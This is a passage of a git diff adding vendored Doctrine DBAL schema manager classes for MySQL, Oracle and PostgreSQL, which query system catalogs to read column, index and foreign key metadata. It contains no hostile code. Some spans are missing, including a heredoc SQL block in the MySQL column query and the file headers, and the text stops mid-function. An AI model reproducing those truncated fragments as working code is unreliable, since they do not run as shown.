+ $length = AbstractMySQLPlatform::LENGTH_LIMIT_MEDIUMTEXT; + break; + + case 'tinyblob': + $length = AbstractMySQLPlatform::LENGTH_LIMIT_TINYBLOB; + break; + + case 'blob': + $length = AbstractMySQLPlatform::LENGTH_LIMIT_BLOB; + break; + + case 'mediumblob': + $length = AbstractMySQLPlatform::LENGTH_LIMIT_MEDIUMBLOB; + break; + + case 'tinyint': + case 'smallint': + case 'mediumint': + case 'int': + case 'integer': + case 'bigint': + case 'year': + $length = null; + break; + } + + if ($this->_platform instanceof MariaDb1027Platform) { + $columnDefault = $this->getMariaDb1027ColumnDefault($this->_platform, $tableColumn['default']); + } else { + $columnDefault = $tableColumn['default']; + } + + $options = [ + 'length' => $length !== null ? (int) $length : null, + 'unsigned' => strpos($tableColumn['type'], 'unsigned') !== false, + 'fixed' => (bool) $fixed, + 'default' => $columnDefault, + 'notnull' => $tableColumn['null'] !== 'YES', + 'scale' => null, + 'precision' => null, + 'autoincrement' => strpos($tableColumn['extra'], 'auto_increment') !== false, + 'comment' => isset($tableColumn['comment']) && $tableColumn['comment'] !== '' + ? $tableColumn['comment'] + : null, + ]; + + if ($scale !== null && $precision !== null) { + $options['scale'] = (int) $scale; + $options['precision'] = (int) $precision; + } + + $column = new Column($tableColumn['field'], Type::getType($type), $options); + + if (isset($tableColumn['characterset'])) { + $column->setPlatformOption('charset', $tableColumn['characterset']); + } + + if (isset($tableColumn['collation'])) { + $column->setPlatformOption('collation', $tableColumn['collation']); + } + + if (isset($tableColumn['declarationMismatch'])) { + $column->setPlatformOption('declarationMismatch', $tableColumn['declarationMismatch']); + } + + return $column; + } + + /** + * Returns the database data type for a given doctrine type and column + * + * Note that for data types that depend on length where length is not part of the column definition + * and therefore the $tableColumn['length'] will not be set, for example TEXT (which could be LONGTEXT, + * MEDIUMTEXT) or BLOB (LONGBLOB or TINYBLOB), the expectedDbType cannot be inferred exactly, merely + * the default type. + * + * This method is intended to be used to determine underlying database type where doctrine type is + * inferred from a DC2Type comment. + * + * @param mixed[] $tableColumn + */ + private function expectedDbType(string $type, array $tableColumn): string + { + $_type = Type::getType($type); + $expectedDbType = strtolower($_type->getSQLDeclaration($tableColumn, $this->_platform)); + $expectedDbType = strtok($expectedDbType, '(), '); + + return $expectedDbType === false ? '' : $expectedDbType; + } + + /** + * Return Doctrine/Mysql-compatible column default values for MariaDB 10.2.7+ servers. + * + * - Since MariaDb 10.2.7 column defaults stored in information_schema are now quoted + * to distinguish them from expressions (see MDEV-10134). + * - CURRENT_TIMESTAMP, CURRENT_TIME, CURRENT_DATE are stored in information_schema + * as current_timestamp(), currdate(), currtime() + * - Quoted 'NULL' is not enforced by Maria, it is technically possible to have + * null in some circumstances (see https://jira.mariadb.org/browse/MDEV-14053) + * - \' is always stored as '' in information_schema (normalized) + * + * @link https://mariadb.com/kb/en/library/information-schema-columns-table/ + * @link https://jira.mariadb.org/browse/MDEV-13132 + * + * @param string|null $columnDefault default value as stored in information_schema for MariaDB >= 10.2.7 + */ + private function getMariaDb1027ColumnDefault(MariaDb1027Platform $platform, ?string $columnDefault): ?string + { + if ($columnDefault === 'NULL' || $columnDefault === null) { + return null; + } + + if (preg_match('/^\'(.*)\'$/', $columnDefault, $matches) === 1) { + return strtr($matches[1], self::MARIADB_ESCAPE_SEQUENCES); + } + + switch ($columnDefault) { + case 'current_timestamp()': + return $platform->getCurrentTimestampSQL(); + + case 'curdate()': + return $platform->getCurrentDateSQL(); + + case 'curtime()': + return $platform->getCurrentTimeSQL(); + } + + return $columnDefault; + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableForeignKeysList($tableForeignKeys) + { + $list = []; + foreach ($tableForeignKeys as $value) { + $value = array_change_key_case($value, CASE_LOWER); + if (! isset($list[$value['constraint_name']])) { + if (! isset($value['delete_rule']) || $value['delete_rule'] === 'RESTRICT') { + $value['delete_rule'] = null; + } + + if (! isset($value['update_rule']) || $value['update_rule'] === 'RESTRICT') { + $value['update_rule'] = null; + } + + $list[$value['constraint_name']] = [ + 'name' => $value['constraint_name'], + 'local' => [], + 'foreign' => [], + 'foreignTable' => $value['referenced_table_name'], + 'onDelete' => $value['delete_rule'], + 'onUpdate' => $value['update_rule'], + ]; + } + + $list[$value['constraint_name']]['local'][] = $value['column_name']; + $list[$value['constraint_name']]['foreign'][] = $value['referenced_column_name']; + } + + return parent::_getPortableTableForeignKeysList($list); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableForeignKeyDefinition($tableForeignKey): ForeignKeyConstraint + { + return new ForeignKeyConstraint( + $tableForeignKey['local'], + $tableForeignKey['foreignTable'], + $tableForeignKey['foreign'], + $tableForeignKey['name'], + [ + 'onDelete' => $tableForeignKey['onDelete'], + 'onUpdate' => $tableForeignKey['onUpdate'], + ], + ); + } + + public function createComparator(): Comparator + { + return new MySQL\Comparator( + $this->_platform, + new CachingCollationMetadataProvider( + new ConnectionCollationMetadataProvider($this->_conn), + ), + ); + } + + protected function selectTableNames(string $databaseName): Result + { + $sql = <<<'SQL' +SELECT TABLE_NAME +FROM information_schema.TABLES +WHERE TABLE_SCHEMA = ? + AND TABLE_TYPE = 'BASE TABLE' +ORDER BY TABLE_NAME +SQL; + + return $this->_conn->executeQuery($sql, [$databaseName]); + } + + protected function selectTableColumns(string $databaseName, ?string $tableName = null): Result + { + [$columnTypeSQL, $joinCheckConstraintSQL] = $this->_platform->getColumnTypeSQLSnippets(); + + $sql = 'SELECT'; + + if ($tableName === null) { + $sql .= ' c.TABLE_NAME,'; + } + + $sql .= <<_conn->executeQuery($sql, $params); + } + + protected function selectIndexColumns(string $databaseName, ?string $tableName = null): Result + { + $sql = 'SELECT'; + + if ($tableName === null) { + $sql .= ' TABLE_NAME,'; + } + + $sql .= <<<'SQL' + NON_UNIQUE AS Non_Unique, + INDEX_NAME AS Key_name, + COLUMN_NAME AS Column_Name, + SUB_PART AS Sub_Part, + INDEX_TYPE AS Index_Type +FROM information_schema.STATISTICS +SQL; + + $conditions = ['TABLE_SCHEMA = ?']; + $params = [$databaseName]; + + if ($tableName !== null) { + $conditions[] = 'TABLE_NAME = ?'; + $params[] = $tableName; + } + + $sql .= ' WHERE ' . implode(' AND ', $conditions) . ' ORDER BY SEQ_IN_INDEX'; + + return $this->_conn->executeQuery($sql, $params); + } + + protected function selectForeignKeyColumns(string $databaseName, ?string $tableName = null): Result + { + $sql = 'SELECT DISTINCT'; + + if ($tableName === null) { + $sql .= ' k.TABLE_NAME,'; + } + + $sql .= <<<'SQL' + k.CONSTRAINT_NAME, + k.COLUMN_NAME, + k.REFERENCED_TABLE_NAME, + k.REFERENCED_COLUMN_NAME, + k.ORDINAL_POSITION /*!50116, + c.UPDATE_RULE, + c.DELETE_RULE */ +FROM information_schema.key_column_usage k /*!50116 +INNER JOIN information_schema.referential_constraints c +ON c.CONSTRAINT_NAME = k.CONSTRAINT_NAME +AND c.TABLE_NAME = k.TABLE_NAME */ +SQL; + + $conditions = ['k.TABLE_SCHEMA = ?']; + $params = [$databaseName]; + + if ($tableName !== null) { + $conditions[] = 'k.TABLE_NAME = ?'; + $params[] = $tableName; + } + + $conditions[] = 'k.REFERENCED_COLUMN_NAME IS NOT NULL'; + + $sql .= ' WHERE ' . implode(' AND ', $conditions) + // The schema name is passed multiple times in the WHERE clause instead of using a JOIN condition + // in order to avoid performance issues on MySQL older than 8.0 and the corresponding MariaDB versions + // caused by https://bugs.mysql.com/bug.php?id=81347. + // Use a string literal for the database name since the internal PDO SQL parser + // cannot recognize parameter placeholders inside conditional comments + . ' /*!50116 AND c.CONSTRAINT_SCHEMA = ' . $this->_conn->quote($databaseName) . ' */' + . ' ORDER BY k.ORDINAL_POSITION'; + + return $this->_conn->executeQuery($sql, $params); + } + + /** + * {@inheritDoc} + */ + protected function fetchTableOptionsByTable(string $databaseName, ?string $tableName = null): array + { + $sql = <<<'SQL' + SELECT t.TABLE_NAME, + t.ENGINE, + t.AUTO_INCREMENT, + t.TABLE_COMMENT, + t.CREATE_OPTIONS, + t.TABLE_COLLATION, + ccsa.CHARACTER_SET_NAME + FROM information_schema.TABLES t + INNER JOIN information_schema.COLLATION_CHARACTER_SET_APPLICABILITY ccsa + ON ccsa.COLLATION_NAME = t.TABLE_COLLATION +SQL; + + $conditions = ['t.TABLE_SCHEMA = ?']; + $params = [$databaseName]; + + if ($tableName !== null) { + $conditions[] = 't.TABLE_NAME = ?'; + $params[] = $tableName; + } + + $conditions[] = "t.TABLE_TYPE = 'BASE TABLE'"; + + $sql .= ' WHERE ' . implode(' AND ', $conditions); + + /** @var array> $metadata */ + $metadata = $this->_conn->executeQuery($sql, $params) + ->fetchAllAssociativeIndexed(); + + $tableOptions = []; + foreach ($metadata as $table => $data) { + $data = array_change_key_case($data, CASE_LOWER); + + $tableOptions[$table] = [ + 'engine' => $data['engine'], + 'collation' => $data['table_collation'], + 'charset' => $data['character_set_name'], + 'autoincrement' => $data['auto_increment'], + 'comment' => $data['table_comment'], + 'create_options' => $this->parseCreateOptions($data['create_options']), + ]; + } + + return $tableOptions; + } + + /** @return string[]|true[] */ + private function parseCreateOptions(?string $string): array + { + $options = []; + + if ($string === null || $string === '') { + return $options; + } + + foreach (explode(' ', $string) as $pair) { + $parts = explode('=', $pair, 2); + + $options[$parts[0]] = $parts[1] ?? true; + } + + return $options; + } +} diff --git a/vendor/doctrine/dbal/src/Schema/OracleSchemaManager.php b/vendor/doctrine/dbal/src/Schema/OracleSchemaManager.php new file mode 100644 index 000000000..073752214 --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/OracleSchemaManager.php @@ -0,0 +1,539 @@ + + */ +class OracleSchemaManager extends AbstractSchemaManager +{ + /** + * {@inheritDoc} + */ + public function listTableNames() + { + return $this->doListTableNames(); + } + + /** + * {@inheritDoc} + */ + public function listTables() + { + return $this->doListTables(); + } + + /** + * {@inheritDoc} + * + * @deprecated Use {@see introspectTable()} instead. + */ + public function listTableDetails($name) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5595', + '%s is deprecated. Use introspectTable() instead.', + __METHOD__, + ); + + return $this->doListTableDetails($name); + } + + /** + * {@inheritDoc} + */ + public function listTableColumns($table, $database = null) + { + return $this->doListTableColumns($table, $database); + } + + /** + * {@inheritDoc} + */ + public function listTableIndexes($table) + { + return $this->doListTableIndexes($table); + } + + /** + * {@inheritDoc} + */ + public function listTableForeignKeys($table, $database = null) + { + return $this->doListTableForeignKeys($table, $database); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableViewDefinition($view) + { + $view = array_change_key_case($view, CASE_LOWER); + + return new View($this->getQuotedIdentifierName($view['view_name']), $view['text']); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableDefinition($table) + { + $table = array_change_key_case($table, CASE_LOWER); + + return $this->getQuotedIdentifierName($table['table_name']); + } + + /** + * {@inheritDoc} + * + * @link http://ezcomponents.org/docs/api/trunk/DatabaseSchema/ezcDbSchemaPgsqlReader.html + */ + protected function _getPortableTableIndexesList($tableIndexes, $tableName = null) + { + $indexBuffer = []; + foreach ($tableIndexes as $tableIndex) { + $tableIndex = array_change_key_case($tableIndex, CASE_LOWER); + + $keyName = strtolower($tableIndex['name']); + $buffer = []; + + if ($tableIndex['is_primary'] === 'P') { + $keyName = 'primary'; + $buffer['primary'] = true; + $buffer['non_unique'] = false; + } else { + $buffer['primary'] = false; + $buffer['non_unique'] = ! $tableIndex['is_unique']; + } + + $buffer['key_name'] = $keyName; + $buffer['column_name'] = $this->getQuotedIdentifierName($tableIndex['column_name']); + $indexBuffer[] = $buffer; + } + + return parent::_getPortableTableIndexesList($indexBuffer, $tableName); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableColumnDefinition($tableColumn) + { + $tableColumn = array_change_key_case($tableColumn, CASE_LOWER); + + $dbType = strtolower($tableColumn['data_type']); + if (strpos($dbType, 'timestamp(') === 0) { + if (strpos($dbType, 'with time zone') !== false) { + $dbType = 'timestamptz'; + } else { + $dbType = 'timestamp'; + } + } + + $unsigned = $fixed = $precision = $scale = $length = null; + + if (! isset($tableColumn['column_name'])) { + $tableColumn['column_name'] = ''; + } + + // Default values returned from database sometimes have trailing spaces. + if (is_string($tableColumn['data_default'])) { + $tableColumn['data_default'] = trim($tableColumn['data_default']); + } + + if ($tableColumn['data_default'] === '' || $tableColumn['data_default'] === 'NULL') { + $tableColumn['data_default'] = null; + } + + if ($tableColumn['data_default'] !== null) { + // Default values returned from database are represented as literal expressions + if (preg_match('/^\'(.*)\'$/s', $tableColumn['data_default'], $matches) === 1) { + $tableColumn['data_default'] = str_replace("''", "'", $matches[1]); + } + } + + if ($tableColumn['data_precision'] !== null) { + $precision = (int) $tableColumn['data_precision']; + } + + if ($tableColumn['data_scale'] !== null) { + $scale = (int) $tableColumn['data_scale']; + } + + $type = $this->_platform->getDoctrineTypeMapping($dbType); + $type = $this->extractDoctrineTypeFromComment($tableColumn['comments'], $type); + $tableColumn['comments'] = $this->removeDoctrineTypeFromComment($tableColumn['comments'], $type); + + switch ($dbType) { + case 'number': + if ($precision === 20 && $scale === 0) { + $type = 'bigint'; + } elseif ($precision === 5 && $scale === 0) { + $type = 'smallint'; + } elseif ($precision === 1 && $scale === 0) { + $type = 'boolean'; + } elseif ($scale > 0) { + $type = 'decimal'; + } + + break; + + case 'varchar': + case 'varchar2': + case 'nvarchar2': + $length = $tableColumn['char_length']; + $fixed = false; + break; + + case 'raw': + $length = $tableColumn['data_length']; + $fixed = true; + break; + + case 'char': + case 'nchar': + $length = $tableColumn['char_length']; + $fixed = true; + break; + } + + $options = [ + 'notnull' => $tableColumn['nullable'] === 'N', + 'fixed' => (bool) $fixed, + 'unsigned' => (bool) $unsigned, + 'default' => $tableColumn['data_default'], + 'length' => $length, + 'precision' => $precision, + 'scale' => $scale, + 'comment' => isset($tableColumn['comments']) && $tableColumn['comments'] !== '' + ? $tableColumn['comments'] + : null, + ]; + + return new Column($this->getQuotedIdentifierName($tableColumn['column_name']), Type::getType($type), $options); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableForeignKeysList($tableForeignKeys) + { + $list = []; + foreach ($tableForeignKeys as $value) { + $value = array_change_key_case($value, CASE_LOWER); + if (! isset($list[$value['constraint_name']])) { + if ($value['delete_rule'] === 'NO ACTION') { + $value['delete_rule'] = null; + } + + $list[$value['constraint_name']] = [ + 'name' => $this->getQuotedIdentifierName($value['constraint_name']), + 'local' => [], + 'foreign' => [], + 'foreignTable' => $value['references_table'], + 'onDelete' => $value['delete_rule'], + ]; + } + + $localColumn = $this->getQuotedIdentifierName($value['local_column']); + $foreignColumn = $this->getQuotedIdentifierName($value['foreign_column']); + + $list[$value['constraint_name']]['local'][$value['position']] = $localColumn; + $list[$value['constraint_name']]['foreign'][$value['position']] = $foreignColumn; + } + + return parent::_getPortableTableForeignKeysList($list); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableForeignKeyDefinition($tableForeignKey): ForeignKeyConstraint + { + return new ForeignKeyConstraint( + array_values($tableForeignKey['local']), + $this->getQuotedIdentifierName($tableForeignKey['foreignTable']), + array_values($tableForeignKey['foreign']), + $this->getQuotedIdentifierName($tableForeignKey['name']), + ['onDelete' => $tableForeignKey['onDelete']], + ); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableSequenceDefinition($sequence) + { + $sequence = array_change_key_case($sequence, CASE_LOWER); + + return new Sequence( + $this->getQuotedIdentifierName($sequence['sequence_name']), + (int) $sequence['increment_by'], + (int) $sequence['min_value'], + ); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableDatabaseDefinition($database) + { + $database = array_change_key_case($database, CASE_LOWER); + + return $database['username']; + } + + /** + * {@inheritDoc} + */ + public function createDatabase($database) + { + $statement = $this->_platform->getCreateDatabaseSQL($database); + + $params = $this->_conn->getParams(); + + if (isset($params['password'])) { + $statement .= ' IDENTIFIED BY ' . $params['password']; + } + + $this->_conn->executeStatement($statement); + + $statement = 'GRANT DBA TO ' . $database; + $this->_conn->executeStatement($statement); + } + + /** + * @internal The method should be only used from within the OracleSchemaManager class hierarchy. + * + * @param string $table + * + * @return bool + * + * @throws Exception + */ + public function dropAutoincrement($table) + { + $sql = $this->_platform->getDropAutoincrementSql($table); + foreach ($sql as $query) { + $this->_conn->executeStatement($query); + } + + return true; + } + + /** + * {@inheritDoc} + */ + public function dropTable($name) + { + $this->tryMethod('dropAutoincrement', $name); + + parent::dropTable($name); + } + + /** + * Returns the quoted representation of the given identifier name. + * + * Quotes non-uppercase identifiers explicitly to preserve case + * and thus make references to the particular identifier work. + * + * @param string $identifier The identifier to quote. + */ + private function getQuotedIdentifierName($identifier): string + { + if (preg_match('/[a-z]/', $identifier) === 1) { + return $this->_platform->quoteIdentifier($identifier); + } + + return $identifier; + } + + protected function selectTableNames(string $databaseName): Result + { + $sql = <<<'SQL' +SELECT TABLE_NAME +FROM ALL_TABLES +WHERE OWNER = :OWNER +ORDER BY TABLE_NAME +SQL; + + return $this->_conn->executeQuery($sql, ['OWNER' => $databaseName]); + } + + protected function selectTableColumns(string $databaseName, ?string $tableName = null): Result + { + $sql = 'SELECT'; + + if ($tableName === null) { + $sql .= ' C.TABLE_NAME,'; + } + + $sql .= <<<'SQL' + C.COLUMN_NAME, + C.DATA_TYPE, + C.DATA_DEFAULT, + C.DATA_PRECISION, + C.DATA_SCALE, + C.CHAR_LENGTH, + C.DATA_LENGTH, + C.NULLABLE, + D.COMMENTS + FROM ALL_TAB_COLUMNS C + INNER JOIN ALL_TABLES T + ON T.OWNER = C.OWNER + AND T.TABLE_NAME = C.TABLE_NAME + LEFT JOIN ALL_COL_COMMENTS D + ON D.OWNER = C.OWNER + AND D.TABLE_NAME = C.TABLE_NAME + AND D.COLUMN_NAME = C.COLUMN_NAME +SQL; + + $conditions = ['C.OWNER = :OWNER']; + $params = ['OWNER' => $databaseName]; + + if ($tableName !== null) { + $conditions[] = 'C.TABLE_NAME = :TABLE_NAME'; + $params['TABLE_NAME'] = $tableName; + } + + $sql .= ' WHERE ' . implode(' AND ', $conditions) . ' ORDER BY C.COLUMN_ID'; + + return $this->_conn->executeQuery($sql, $params); + } + + protected function selectIndexColumns(string $databaseName, ?string $tableName = null): Result + { + $sql = 'SELECT'; + + if ($tableName === null) { + $sql .= ' IND_COL.TABLE_NAME,'; + } + + $sql .= <<<'SQL' + IND_COL.INDEX_NAME AS NAME, + IND.INDEX_TYPE AS TYPE, + DECODE(IND.UNIQUENESS, 'NONUNIQUE', 0, 'UNIQUE', 1) AS IS_UNIQUE, + IND_COL.COLUMN_NAME, + IND_COL.COLUMN_POSITION AS COLUMN_POS, + CON.CONSTRAINT_TYPE AS IS_PRIMARY + FROM ALL_IND_COLUMNS IND_COL + LEFT JOIN ALL_INDEXES IND + ON IND.OWNER = IND_COL.INDEX_OWNER + AND IND.INDEX_NAME = IND_COL.INDEX_NAME + LEFT JOIN ALL_CONSTRAINTS CON + ON CON.OWNER = IND_COL.INDEX_OWNER + AND CON.INDEX_NAME = IND_COL.INDEX_NAME +SQL; + + $conditions = ['IND_COL.INDEX_OWNER = :OWNER']; + $params = ['OWNER' => $databaseName]; + + if ($tableName !== null) { + $conditions[] = 'IND_COL.TABLE_NAME = :TABLE_NAME'; + $params['TABLE_NAME'] = $tableName; + } + + $sql .= ' WHERE ' . implode(' AND ', $conditions) . ' ORDER BY IND_COL.TABLE_NAME, IND_COL.INDEX_NAME' + . ', IND_COL.COLUMN_POSITION'; + + return $this->_conn->executeQuery($sql, $params); + } + + protected function selectForeignKeyColumns(string $databaseName, ?string $tableName = null): Result + { + $sql = 'SELECT'; + + if ($tableName === null) { + $sql .= ' COLS.TABLE_NAME,'; + } + + $sql .= <<<'SQL' + ALC.CONSTRAINT_NAME, + ALC.DELETE_RULE, + COLS.COLUMN_NAME LOCAL_COLUMN, + COLS.POSITION, + R_COLS.TABLE_NAME REFERENCES_TABLE, + R_COLS.COLUMN_NAME FOREIGN_COLUMN + FROM ALL_CONS_COLUMNS COLS + LEFT JOIN ALL_CONSTRAINTS ALC ON ALC.OWNER = COLS.OWNER AND ALC.CONSTRAINT_NAME = COLS.CONSTRAINT_NAME + LEFT JOIN ALL_CONS_COLUMNS R_COLS ON R_COLS.OWNER = ALC.R_OWNER AND + R_COLS.CONSTRAINT_NAME = ALC.R_CONSTRAINT_NAME AND + R_COLS.POSITION = COLS.POSITION +SQL; + + $conditions = ["ALC.CONSTRAINT_TYPE = 'R'", 'COLS.OWNER = :OWNER']; + $params = ['OWNER' => $databaseName]; + + if ($tableName !== null) { + $conditions[] = 'COLS.TABLE_NAME = :TABLE_NAME'; + $params['TABLE_NAME'] = $tableName; + } + + $sql .= ' WHERE ' . implode(' AND ', $conditions) . ' ORDER BY COLS.TABLE_NAME, COLS.CONSTRAINT_NAME' + . ', COLS.POSITION'; + + return $this->_conn->executeQuery($sql, $params); + } + + /** + * {@inheritDoc} + */ + protected function fetchTableOptionsByTable(string $databaseName, ?string $tableName = null): array + { + $sql = 'SELECT TABLE_NAME, COMMENTS'; + + $conditions = ['OWNER = :OWNER']; + $params = ['OWNER' => $databaseName]; + + if ($tableName !== null) { + $conditions[] = 'TABLE_NAME = :TABLE_NAME'; + $params['TABLE_NAME'] = $tableName; + } + + $sql .= ' FROM ALL_TAB_COMMENTS WHERE ' . implode(' AND ', $conditions); + + /** @var array> $metadata */ + $metadata = $this->_conn->executeQuery($sql, $params) + ->fetchAllAssociativeIndexed(); + + $tableOptions = []; + foreach ($metadata as $table => $data) { + $data = array_change_key_case($data, CASE_LOWER); + + $tableOptions[$table] = [ + 'comment' => $data['comments'], + ]; + } + + return $tableOptions; + } + + protected function normalizeName(string $name): string + { + $identifier = new Identifier($name); + + return $identifier->isQuoted() ? $identifier->getName() : strtoupper($name); + } +} diff --git a/vendor/doctrine/dbal/src/Schema/PostgreSQLSchemaManager.php b/vendor/doctrine/dbal/src/Schema/PostgreSQLSchemaManager.php new file mode 100644 index 000000000..13fde63b2 --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/PostgreSQLSchemaManager.php @@ -0,0 +1,774 @@ + + */ +class PostgreSQLSchemaManager extends AbstractSchemaManager +{ + /** @var string[]|null */ + private ?array $existingSchemaPaths = null; + + /** + * {@inheritDoc} + */ + public function listTableNames() + { + return $this->doListTableNames(); + } + + /** + * {@inheritDoc} + */ + public function listTables() + { + return $this->doListTables(); + } + + /** + * {@inheritDoc} + * + * @deprecated Use {@see introspectTable()} instead. + */ + public function listTableDetails($name) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5595', + '%s is deprecated. Use introspectTable() instead.', + __METHOD__, + ); + + return $this->doListTableDetails($name); + } + + /** + * {@inheritDoc} + */ + public function listTableColumns($table, $database = null) + { + return $this->doListTableColumns($table, $database); + } + + /** + * {@inheritDoc} + */ + public function listTableIndexes($table) + { + return $this->doListTableIndexes($table); + } + + /** + * {@inheritDoc} + */ + public function listTableForeignKeys($table, $database = null) + { + return $this->doListTableForeignKeys($table, $database); + } + + /** + * Gets all the existing schema names. + * + * @deprecated Use {@see listSchemaNames()} instead. + * + * @return string[] + * + * @throws Exception + */ + public function getSchemaNames() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4503', + 'PostgreSQLSchemaManager::getSchemaNames() is deprecated,' + . ' use PostgreSQLSchemaManager::listSchemaNames() instead.', + ); + + return $this->listNamespaceNames(); + } + + /** + * {@inheritDoc} + */ + public function listSchemaNames(): array + { + return $this->_conn->fetchFirstColumn( + <<<'SQL' +SELECT schema_name +FROM information_schema.schemata +WHERE schema_name NOT LIKE 'pg\_%' +AND schema_name != 'information_schema' +SQL, + ); + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function getSchemaSearchPaths() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4821', + 'PostgreSQLSchemaManager::getSchemaSearchPaths() is deprecated.', + ); + + $params = $this->_conn->getParams(); + + $searchPaths = $this->_conn->fetchOne('SHOW search_path'); + assert($searchPaths !== false); + + $schema = explode(',', $searchPaths); + + if (isset($params['user'])) { + $schema = str_replace('"$user"', $params['user'], $schema); + } + + return array_map('trim', $schema); + } + + /** + * Gets names of all existing schemas in the current users search path. + * + * This is a PostgreSQL only function. + * + * @internal The method should be only used from within the PostgreSQLSchemaManager class hierarchy. + * + * @return string[] + * + * @throws Exception + */ + public function getExistingSchemaSearchPaths() + { + if ($this->existingSchemaPaths === null) { + $this->determineExistingSchemaSearchPaths(); + } + + assert($this->existingSchemaPaths !== null); + + return $this->existingSchemaPaths; + } + + /** + * Returns the name of the current schema. + * + * @return string|null + * + * @throws Exception + */ + protected function getCurrentSchema() + { + $schemas = $this->getExistingSchemaSearchPaths(); + + return array_shift($schemas); + } + + /** + * Sets or resets the order of the existing schemas in the current search path of the user. + * + * This is a PostgreSQL only function. + * + * @internal The method should be only used from within the PostgreSQLSchemaManager class hierarchy. + * + * @return void + * + * @throws Exception + */ + public function determineExistingSchemaSearchPaths() + { + $names = $this->listSchemaNames(); + $paths = $this->getSchemaSearchPaths(); + + $this->existingSchemaPaths = array_filter($paths, static function ($v) use ($names): bool { + return in_array($v, $names, true); + }); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableForeignKeyDefinition($tableForeignKey) + { + $onUpdate = null; + $onDelete = null; + + if ( + preg_match( + '(ON UPDATE ([a-zA-Z0-9]+( (NULL|ACTION|DEFAULT))?))', + $tableForeignKey['condef'], + $match, + ) === 1 + ) { + $onUpdate = $match[1]; + } + + if ( + preg_match( + '(ON DELETE ([a-zA-Z0-9]+( (NULL|ACTION|DEFAULT))?))', + $tableForeignKey['condef'], + $match, + ) === 1 + ) { + $onDelete = $match[1]; + } + + $result = preg_match('/FOREIGN KEY \((.+)\) REFERENCES (.+)\((.+)\)/', $tableForeignKey['condef'], $values); + assert($result === 1); + + // PostgreSQL returns identifiers that are keywords with quotes, we need them later, don't get + // the idea to trim them here. + $localColumns = array_map('trim', explode(',', $values[1])); + $foreignColumns = array_map('trim', explode(',', $values[3])); + $foreignTable = $values[2]; + + return new ForeignKeyConstraint( + $localColumns, + $foreignTable, + $foreignColumns, + $tableForeignKey['conname'], + ['onUpdate' => $onUpdate, 'onDelete' => $onDelete], + ); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableViewDefinition($view) + { + return new View($view['schemaname'] . '.' . $view['viewname'], $view['definition']); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableDefinition($table) + { + $currentSchema = $this->getCurrentSchema(); + + if ($table['schema_name'] === $currentSchema) { + return $table['table_name']; + } + + return $table['schema_name'] . '.' . $table['table_name']; + } + + /** + * {@inheritDoc} + * + * @link http://ezcomponents.org/docs/api/trunk/DatabaseSchema/ezcDbSchemaPgsqlReader.html + */ + protected function _getPortableTableIndexesList($tableIndexes, $tableName = null) + { + $buffer = []; + foreach ($tableIndexes as $row) { + $colNumbers = array_map('intval', explode(' ', $row['indkey'])); + $columnNameSql = sprintf( + 'SELECT attnum, attname FROM pg_attribute WHERE attrelid=%d AND attnum IN (%s) ORDER BY attnum ASC', + $row['indrelid'], + implode(' ,', $colNumbers), + ); + + $indexColumns = $this->_conn->fetchAllAssociative($columnNameSql); + + // required for getting the order of the columns right. + foreach ($colNumbers as $colNum) { + foreach ($indexColumns as $colRow) { + if ($colNum !== $colRow['attnum']) { + continue; + } + + $buffer[] = [ + 'key_name' => $row['relname'], + 'column_name' => trim($colRow['attname']), + 'non_unique' => ! $row['indisunique'], + 'primary' => $row['indisprimary'], + 'where' => $row['where'], + ]; + } + } + } + + return parent::_getPortableTableIndexesList($buffer, $tableName); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableDatabaseDefinition($database) + { + return $database['datname']; + } + + /** + * {@inheritDoc} + * + * @deprecated Use {@see listSchemaNames()} instead. + */ + protected function getPortableNamespaceDefinition(array $namespace) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4503', + 'PostgreSQLSchemaManager::getPortableNamespaceDefinition() is deprecated,' + . ' use PostgreSQLSchemaManager::listSchemaNames() instead.', + ); + + return $namespace['nspname']; + } + + /** + * {@inheritDoc} + */ + protected function _getPortableSequenceDefinition($sequence) + { + if ($sequence['schemaname'] !== 'public') { + $sequenceName = $sequence['schemaname'] . '.' . $sequence['relname']; + } else { + $sequenceName = $sequence['relname']; + } + + return new Sequence($sequenceName, (int) $sequence['increment_by'], (int) $sequence['min_value']); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableColumnDefinition($tableColumn) + { + $tableColumn = array_change_key_case($tableColumn, CASE_LOWER); + + if (strtolower($tableColumn['type']) === 'varchar' || strtolower($tableColumn['type']) === 'bpchar') { + // get length from varchar definition + $length = preg_replace('~.*\(([0-9]*)\).*~', '$1', $tableColumn['complete_type']); + $tableColumn['length'] = $length; + } + + $matches = []; + + $autoincrement = false; + + if ( + $tableColumn['default'] !== null + && preg_match("/^nextval\('(.*)'(::.*)?\)$/", $tableColumn['default'], $matches) === 1 + ) { + $tableColumn['sequence'] = $matches[1]; + $tableColumn['default'] = null; + $autoincrement = true; + } + + if ($tableColumn['default'] !== null) { + if (preg_match("/^['(](.*)[')]::/", $tableColumn['default'], $matches) === 1) { + $tableColumn['default'] = $matches[1]; + } elseif (preg_match('/^NULL::/', $tableColumn['default']) === 1) { + $tableColumn['default'] = null; + } + } + + $length = $tableColumn['length'] ?? null; + if ($length === '-1' && isset($tableColumn['atttypmod'])) { + $length = $tableColumn['atttypmod'] - 4; + } + + if ((int) $length <= 0) { + 